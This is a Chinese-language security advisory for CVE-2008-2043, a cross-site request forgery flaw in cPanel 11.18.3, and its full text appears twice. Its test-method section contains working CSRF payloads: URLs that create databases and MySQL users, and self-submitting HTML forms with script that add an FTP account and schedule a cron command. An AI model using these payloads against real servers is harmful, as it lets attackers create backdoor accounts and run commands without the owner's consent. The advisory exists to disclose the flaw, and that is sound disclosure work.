发布日期：2008-04-28
更新日期：2008-05-05
受影响系统：
CVE(CAN) ID: CVE-2008-2043
cPanel是基于web的工具，用于自动化控制网站和服务器。
cPanel没有验证用户通过HTTP请求所执行的某些操作，这允许远程攻击者通过跨站请求伪造（XSRF）攻击执行仅有管理员才可以执行的操作，包括创建新的数据库、添加新用户等。
<*来源：Rook Security
链接： http://secunia.com/advisories/30027/
http://www.kb.cert.org/vuls/id/584089
http://www.rooksecurity.com/blog/?p=7
*>
测试方法：
http://localhost:2082/frontend/x2/sql/adddb.html?db=database_name
创建新的mysql用户：
http://localhost:2082/frontend/x2/sql/adduser.html?user=badmin&pass=badmin
添加ftp用户：
<html>
<form id=1 method=’post’ action=’ http://localhost:2082/frontend/x2/ftp/doaddftp.html’>
<input name=’login’ value=’badmin’>
<input name=’password’ value=’badmin’>
<input name=’quota’ value=’unlimited’>
<input name=’homedir’ value=’/badmin’>
</form>
</html>
<script>
document.getElementById(1).submit();
</script>
每小时运行一次命令行：
<html>
<form id=2 method=’post’ action=’ http://localhost:2082/frontend/x2/cron/editcronsimple.html’>
<input name=’command1′ value=’echo test’>
<input name=’mailto’ value=’junk_address’>
<input name=’minute1′ value=’0′>
<input name=’hour1′ value=’*'>
<input name=’day1′ value=’*'>
<input name=’weekday1′ value=’*'>
<input name=’month1′ value=’*'>
</form>
</html>
<script>
document.getElementById(2).submit();
</script>
更新日期：2008-05-05
受影响系统：
cPanel cPanel 11.18.3 build ID 21703描述：
CVE(CAN) ID: CVE-2008-2043
cPanel是基于web的工具，用于自动化控制网站和服务器。
cPanel没有验证用户通过HTTP请求所执行的某些操作，这允许远程攻击者通过跨站请求伪造（XSRF）攻击执行仅有管理员才可以执行的操作，包括创建新的数据库、添加新用户等。
<*来源：Rook Security
链接： http://secunia.com/advisories/30027/
http://www.kb.cert.org/vuls/id/584089
http://www.rooksecurity.com/blog/?p=7
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
http://localhost:2082/frontend/x2/sql/adddb.html?db=database_name
创建新的mysql用户：
http://localhost:2082/frontend/x2/sql/adduser.html?user=badmin&pass=badmin
添加ftp用户：
<html>
<form id=1 method=’post’ action=’ http://localhost:2082/frontend/x2/ftp/doaddftp.html’>
<input name=’login’ value=’badmin’>
<input name=’password’ value=’badmin’>
<input name=’quota’ value=’unlimited’>
<input name=’homedir’ value=’/badmin’>
</form>
</html>
<script>
document.getElementById(1).submit();
</script>
每小时运行一次命令行：
<html>
<form id=2 method=’post’ action=’ http://localhost:2082/frontend/x2/cron/editcronsimple.html’>
<input name=’command1′ value=’echo test’>
<input name=’mailto’ value=’junk_address’>
<input name=’minute1′ value=’0′>
<input name=’hour1′ value=’*'>
<input name=’day1′ value=’*'>
<input name=’weekday1′ value=’*'>
<input name=’month1′ value=’*'>
</form>
</html>
<script>
document.getElementById(2).submit();
</script>
